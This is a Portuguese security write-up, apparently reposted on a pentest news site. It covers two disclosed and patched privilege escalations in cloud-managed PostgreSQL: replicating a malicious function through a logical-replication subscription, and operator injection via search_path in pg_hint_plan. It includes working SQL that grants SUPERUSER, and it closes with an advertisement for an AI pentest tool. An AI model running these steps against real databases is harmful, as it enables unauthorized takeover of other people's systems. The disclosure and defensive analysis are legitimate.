Como obter privilégios de superusuário em bancos de dados PostgreSQL gerenciados em nuvem: um teste de segurança

Como obter privilégios de superusuário em bancos de dados PostgreSQL gerenciados em nuvem: um teste de segurança

Este artigo explora duas vulnerabilidades de escalonamento de privilégios em serviços PostgreSQL gerenciados em nuvem, demonstrando como um usuário comum pode obter acesso de superusuário explorando a replicação lógica e a injeção de operadores via search_path. As falhas, agora corrigidas, destacam a importância da disciplina de segurança no desenvolvimento de serviços gerenciados.

MundiX News·29 de maio de 2026·7 min de leitura·👁 17 views

Meu nome é Evgeny Efimkin, e lidero o grupo de Confiabilidade de Plataforma na Yandex Cloud. Entre outras responsabilidades, cuidamos da segurança de nossos serviços gerenciados. No nosso serviço gerenciado de PostgreSQL, não concedemos aos clientes privilégios de superuser. Fazer isso permitiria que eles saíssem dos limites de seu banco de dados e acessassem diretamente o sistema operacional. Para permitir que os clientes realizem operações privilegiadas, como criar bancos de dados, configurar roles e modificar configurações do cluster, desenvolvemos os serviços de Control Plane e concedemos roles especiais com permissões limitadas (sem acesso ao SO e sem contornar verificações de permissão).

Há alguns anos, enquanto trabalhava no suporte à replicação lógica, percebi que mesmo isso não era suficiente: o PostgreSQL ainda possuía pontos onde ele mesmo, internamente, executava código como superuser, contornando toda a estrutura de controle. A seguir, apresento dois casos de escalonamento de privilégios em dois provedores de nuvem pública diferentes. Ambos os vetores foram corrigidos no momento da publicação – tanto no upstream do PostgreSQL quanto nos próprios serviços; ambos os provedores foram devidamente informados.

Como obter superuser através da replicação lógica

A história remonta aos tempos do PostgreSQL 10. Para dar suporte à replicação lógica, precisávamos permitir que um usuário não privilegiado criasse SUBSCRIPTION. A tarefa foi resolvida com um pequeno patch para nossa role interna mdb_admin (aquela que concedemos ao cliente em vez de superuser). Enquanto escrevia este patch, precisei entender como a replicação lógica funcionava internamente. E lá descobri um detalhe crucial: o processo em segundo plano que aplica as linhas do WAL opera com privilégios de superuser – ou seja, contornando as verificações de permissão em princípio.

Teoria: Como funciona a replicação lógica

A replicação lógica no PostgreSQL é construída em um modelo de publisher-subscriber: uma Publication no lado da origem define o conjunto de tabelas cujas alterações são publicadas no WAL em formato lógico. Uma Subscription no lado do receptor se conecta à publication e aplica as alterações recebidas. A aplicação ocorre em um processo em segundo plano, o logical replication worker, que opera em nome do superusuário. O criador da assinatura é um usuário comum. As alterações são aplicadas em seu nome por um processo com privilégios de superuser. É nesse hiato que reside a possibilidade de escalonamento.

Exploração

A ideia é simples: se pudermos forçar a subscription a aplicar alterações nas tabelas do sistema, obteremos superuser. Como fonte, configurei um PostgreSQL em minha máquina virtual e tentei adicionar uma tabela do catálogo do sistema à publication. O PostgreSQL não permite isso, mas a restrição pode ser contornada com o parâmetro allow_system_table_mods = true – após o qual é possível inserir manualmente qualquer tabela em pg_publication_rel. Decidi usar pg_proc (o catálogo de funções).

Em seguida, o teste em uma nuvem alheia. Sem superuser, um cliente comum não pode criar SUBSCRIPTION, mas isso não é necessário: a maioria dos provedores gerenciados suporta replicação lógica da mesma forma que nós – através de sua role privilegiada, um análogo de mdb_admin. O Provedor A possuía tal role. Crio a assinatura:

sql
CREATE SUBSCRIPTION mysub_super
CONNECTION 'host=myhost port=5432 dbname=postgres user=postgres'
PUBLICATION pub
WITH (copy_data = false);

O parâmetro copy_data = false é necessário para evitar conflitos de linhas entre os dois clusters – queremos replicar apenas as novas alterações. Após isso, no lado do nosso cluster (publisher), criamos uma função:

sql
CREATE OR REPLACE FUNCTION update_pass() RETURNS text AS $$
UPDATE pg_catalog.pg_authid SET rolsuper = true;
SELECT 'hacked';
$$ LANGUAGE SQL SECURITY DEFINER;

Esta função é replicada para pg_proc no lado do serviço de nuvem. Verificamos:

sql
postgres=# SELECT update_pass();
 update_pass
-------------
 hacked
(1 row)

postgres=# SELECT usename, usesuper FROM pg_user WHERE usename = 'user1';
 usename | usesuper
---------+----------
 user1   | t
(1 row)

superuser obtido.

O que fechou este vetor

No PostgreSQL 16, o modelo de operação da replicação lógica foi reescrito: o logical replication worker agora aplica alterações em nome do proprietário da assinatura, e não do superuser.

Como obter superuser através de search_path e operator injection

O primeiro caso trata de um componente do sistema, o logical replication worker. Mas o mesmo padrão aparece em lugares muito menos esperados. Anos depois, visitei um provedor recém-lançado. Entre as operações disponíveis estavam a criação de usuários, bancos de dados e a instalação de extensões. Configurações globais do cluster não podiam ser alteradas. Abasteci minha conta, criei um cluster – dentro dele, um PostgreSQL 17 puro sem roles embutidas. Mas, como proprietário do banco de dados, eu tinha o direito de alterar seus parâmetros – e isso já era uma brecha.

Teoria: O que é search_path e por que é perigoso

search_path é um parâmetro do PostgreSQL que define a ordem de busca de esquemas ao acessar objetos sem especificar explicitamente o esquema. Por padrão, é "$user", public. Quando você escreve SELECT * FROM my_table, o PostgreSQL procura a tabela primeiro no esquema com o nome do usuário atual e depois em public. Isso cria um vetor de ataque clássico: se um invasor puder colocar seus objetos (tabelas, funções, operadores) em um esquema que esteja no search_path antes de pg_catalog, então, em chamadas não qualificadas, o PostgreSQL encontrará o objeto substituído em vez do original.

Reconhecimento

O parâmetro mais interessante do banco de dados é justamente o search_path. Eu o redefini e tentei criar uma extensão através da API do provedor. A extensão foi criada sem problemas – dentro do meu esquema. Este é um problema sério: a API instala a extensão em nome de um usuário privilegiado, mas com o search_path que o cliente definiu. É por isso que ela acabou no meu esquema. Restava entender como explorar isso. Naquele momento, não havia logs, e pg_stat_activity e pg_stat_statements sem uma role especial ocultam a atividade de outros usuários. Ou seja, era impossível ver diretamente quais consultas o Control Plane executava em seu próprio nome. A única pista eram as extensões que ele instalava para mim.

Na lista de extensões estavam pg_partman e pg_hint_plan. pg_partman foi limpo de SECURITY DEFINER e outros locais perigosos nos últimos anos – descartado. Restou pg_hint_plan.

Teoria: operator injection

No PostgreSQL, operadores (=, <, >, etc.) são objetos de banco de dados comuns pertencentes a um esquema. Quando você escreve a = b, o PostgreSQL procura um = adequado para os tipos de argumento através do search_path – exatamente da mesma forma que procura funções e tabelas. Se pudermos colocar nosso = em um esquema que esteja no search_path antes de pg_catalog, o PostgreSQL chamará nossa função em vez da comparação embutida.

pg_hint_plan e operator injection

Passei a analisar pg_hint_plan – uma extensão que permite usar hints em consultas para substituir métodos de acesso (semelhante aos hints do Oracle). Após habilitar a extensão em pg_stat_statements, vi que uma consulta foi executada implicitamente do meu usuário:

sql
SELECT hints
FROM hint_plan.hints
WHERE query_id = $1
  AND (application_name = $2 OR application_name = $3)
ORDER BY application_name DESC

Presumi que essa mesma consulta poderia ser executada pelo superusuário quando ele faz consultas ao banco de dados com pg_hint_plan ativo. Observe: na consulta query_id = $1, o operador = é usado sem especificar o esquema. Este é o ponto chave.

Exploração

Para testar a hipótese, criei um novo banco de dados vazio e, dentro dele, um esquema:

sql
CREATE SCHEMA hint_plan;

Uma função que aumenta privilégios:

sql
CREATE OR REPLACE FUNCTION hint_plan.evil_eq(bigint, bigint)
RETURNS boolean AS $$
BEGIN
  ALTER USER test WITH SUPERUSER;
  return true;
END;
$$ LANGUAGE plpgsql;

Redefinimos o operador de comparação para bigint:

sql
CREATE OPERATOR hint_plan.= (
  LEFTARG = bigint,
  RIGHTARG = bigint,
  FUNCTION = hint_plan.evil_eq
);

Redefinimos o search_path necessário no nível do nosso banco de dados:

sql
ALTER DATABASE test SET search_path = hint_plan, pg_catalog;

Criamos outra extensão arbitrária através da API – isso forçará o usuário privilegiado a executar uma consulta a hint_plan.hints, na qual nosso = será acionado. Resultado:

sql
SELECT rolname, rolsuper FROM pg_roles WHERE rolname = 'test';
 rolname | rolsuper
---------+----------
 test    | t
(1 row)

superuser obtido através de operator injection.

O que fechou este vetor

Com base nesses experimentos, meu colega fez um patch no pg_hint_plan – as consultas internas da extensão agora qualificam explicitamente operadores e funções através de pg_catalog. O patch foi aceito no upstream. Também informamos o próprio provedor sobre o problema.

O que é importante ter em mente ao projetar bancos de dados gerenciados

Ambos os casos acima são o mesmo bug visto de diferentes ângulos. O superuser no PostgreSQL gerenciado não pertence ao usuário e não deve pertencer. Mas ele pertence a componentes do sistema que fazem algo em nome do usuário: o logical replication worker aplica linhas que o usuário adicionou à publicação, usando uma role privilegiada; o Control Plane, usando uma role privilegiada, cria uma extensão em um esquema que o usuário forneceu através do search_path. A segurança de um serviço gerenciado é, essencialmente, uma disciplina: listar tais componentes e garantir que o usuário não possa fornecer a eles algo que quebre seus invariantes.

As falhas específicas de ambos os casos foram corrigidas – tanto no upstream do PostgreSQL quanto nos provedores. O padrão não é fechado por nada: a pergunta correta na revisão da arquitetura de um serviço gerenciado não é "o cliente pode fazer X?", mas sim "quem faz X para o cliente, e o que o cliente pode fornecer a ele como entrada?"

Ficarei feliz em responder a perguntas e discutir seus experimentos com PostgreSQL. Compartilhe nos comentários, e também junte-se à comunidade da plataforma de dados Yandex Cloud, onde compartilhamos notícias e discutimos questões técnicas.

🛡️⚡

Pare de pesquisar. Comece a hackear.

O MundiX é seu copiloto de pentest com IA: comandos exatos, análise de outputs e próximo passo na kill chain — em segundos.

Testar grátis por 7 dias →

Sem cartão para começar · Planos a partir de R$49/mês

📤 Compartilhar & Baixar

🧰 Ferramentas recomendadas

Divulgação: alguns links são patrocinados. Podemos receber comissão se você comprar — sem custo extra para você. Só indicamos o que faz sentido para a comunidade.

Aprendendo Kali Linux: Teste de segurança, pentest e hacking ético

Aprendendo Kali Linux: Teste de segurança, pentest e hacking ético

Com centenas de ferramentas pré-instaladas, a distribuição Kali Linux facilita o trabalho de os profissionais de segurança começarem a fazer testes de segurança rapidamente. No entanto, com mais de 600 ferramentas em seu arsenal, o Kali Linux também pode ser desafiador. A nova edição deste prático livro abrange as atualizações nas ferramentas e inclui uma melhor abordagem da análise forense e da engenharia reversa. Ric Messier, autor, não fica apenas no teste de segurança, mas também faz uma abordagem sobre a execução de análise forense, incluindo a análise em disco e na memória, assim como alguma análise básica de malware. • Explore as diversas ferramentas disponíveis no Kali Linux • Entenda o valor do teste de segurança e examine os tipos de teste disponíveis • Aprenda os aspectos básicos do pentest em todo o ciclo de vida do ataque • Instale o Kali Linux em vários sistemas, tanto físicos quanto virtuais • Descubra como usar diferentes ferramentas destinadas à segurança • Estruture um teste de segurança baseado nas ferramentas do Kali Linux • Estenda as ferramentas do Kali para criar técnicas de ataque avançadas • Use o Kali Linux para ajudar a criar relatórios quando o teste terminar “A abordagem concisa, clara e baseada na experiência adotada por Ric Messier para a introdução do Kali Linux e dos testes de cibersegurança é incomparável. Este livro é uma leitura excelente e acessível para iniciantes e um recurso valioso para qualquer pessoa.” —Alexander Arlt, Consultor sênior de segurança, Google

Ver na Amazon
Gshield 2 em 1 Hub Extensor Conector USB-C + USB-A e Adaptador de Rede Ethernet LAN RJ45 com 3 Entradas USB 3.0 até 5 Gbps em Liga de Alumínio para Computador e Notebook, Cinza

Gshield 2 em 1 Hub Extensor Conector USB-C + USB-A e Adaptador de Rede Ethernet LAN RJ45 com 3 Entradas USB 3.0 até 5 Gbps em Liga de Alumínio para Computador e Notebook, Cinza

Compatível com portas USB-C e USB-A, ideal para ampliar a conectividade de dispositivos como MacBook Pro e outros com portas USB-C. Inclui um adaptador USB-A extra, proporcionando uma conexão Ethernet estável e veloz de até 1 Gbps, perfeita para filmes, jogos online e videoconferências. Oferece três portas USB 3.0 com velocidades de transferência de até 5 Gbps, permitindo conectar mouse, teclado, discos rígidos e outros periféricos. Fabricado em alumínio durável, garantindo longa vida útil e resistência ao uso diário. Design compacto e leve, ideal para viagens de negócios e uso diário, facilitando o transporte e armazenamento. Funciona com Windows 10/8.1/8, Mac OS e Chrome OS, oferecendo versatilidade incomparável para diversas necessidades de conectividade. Assegura uma conectividade estável e rápida, perfeita para tarefas exigentes como transferência de dados, streaming e mais.

Ver na Amazon
Hacking APIs: Breaking Web Application Programming Interfaces

Hacking APIs: Breaking Web Application Programming Interfaces

Hacking APIs is a crash course on web API security testing that will prepare you to penetration-test APIs, reap high rewards on bug bounty programs, and make your own APIs more secure. You'll learn how REST and GraphQL APIs work in the wild and set up a streamlined API testing lab with Burp Suite and Postman. Then you'll master tools useful for reconnaissance, endpoint analysis, and fuzzing, such as Kiterunner and OWASP Amass. Next, you'll learn to perform common attacks, like those targeting an API's authentication mechanisms and the injection vulnerabilities commonly found in web applications. You'll also learn techniques for bypassing protections against these attacks. In the book's nine guided labs, which target intentionally vulnerable APIs, you'll practice: Enumerating APIs users and endpoints using fuzzing techniques Using Postman to discover an excessive data exposure vulnerability Performing a JSON Web Token attack against an API authentication process Combining multiple API attack techniques to perform a NoSQL injection Attacking a GraphQL API to uncover a broken object level authorization vulnerability

Ver oferta
Gray Hat Hacking: The Ethical Hacker's Handbook, Sixth Edition

Gray Hat Hacking: The Ethical Hacker's Handbook, Sixth Edition

Up-to-date strategies for thwarting the latest, most insidious network attacks This fully updated, industry-standard security resource shows, step by step, how to fortify computer networks by learning and applying effective ethical hacking techniques. Based on curricula developed by the authors at major security conferences and colleges, the book features actionable planning and analysis methods as well as practical steps for identifying and combating both targeted and opportunistic attacks. Gray Hat Hacking: The Ethical Hacker's Handbook, Sixth Edition clearly explains the enemy's devious weapons, skills, and tactics and offers field-tested remedies, case studies, and testing labs. You will get complete coverage of Internet of Things, mobile, and Cloud security along with penetration testing, malware analysis, and reverse engineering techniques. State-of-the-art malware, ransomware, and system exploits are thoroughly explained. Fully revised content includes 7 new chapters covering the latest threats Includes proof-of-concept code stored on the GitHub repository Authors train attendees at major security conferences, including RSA, Black Hat, Defcon, and B-Sides

Ver na Amazon
Bloqueador USB de privacidade de porta USB para PC, notebook, bloco de laptop,

Bloqueador USB de privacidade de porta USB para PC, notebook, bloco de laptop,

Proteção de privacidade aprimorada: protege o link de transmissão de dados para evitar roubo de informações, fornecendo proteção de segurança robusta que protege a privacidade do usuário durante transferências de arquivos e garante uma conexão segura para interações de dispositivos sem preocupações em vários ambientes Uso a longo prazo: a camada protetora resistente ao desgaste, combinada com um corpo de metal resistente, oferece gerenciamento de calor confiável e qualidade duradoura durante o uso diário Entrega eficiente de energia: a tecnologia de chip inteligente garante a identificação automática dos requisitos de energia, fornecendo carregamento eficiente alinhando-se com vários protocolos de carregamento rápido para maior conveniência Proteção contra sobrecarga: evitando riscos de sobrecarga, este bloqueador de dados USB protege a vida útil da bateria e garante um desempenho estável, mantendo um fluxo estável de energia para melhorar a longevidade do dispositivo de forma eficaz Prático de transportar: com atenção à portabilidade, este bloqueador de dados USB oferece um design compacto que é leve e fácil de transportar, melhorando a conveniência do usuário e operação eficiente

Ver na Amazon

📩 Newsletter MundiX

Receba novidades de cibersegurança + um checklist de pentest grátis. Sem spam.

Ao assinar você concorda em receber e-mails. Cancele quando quiser.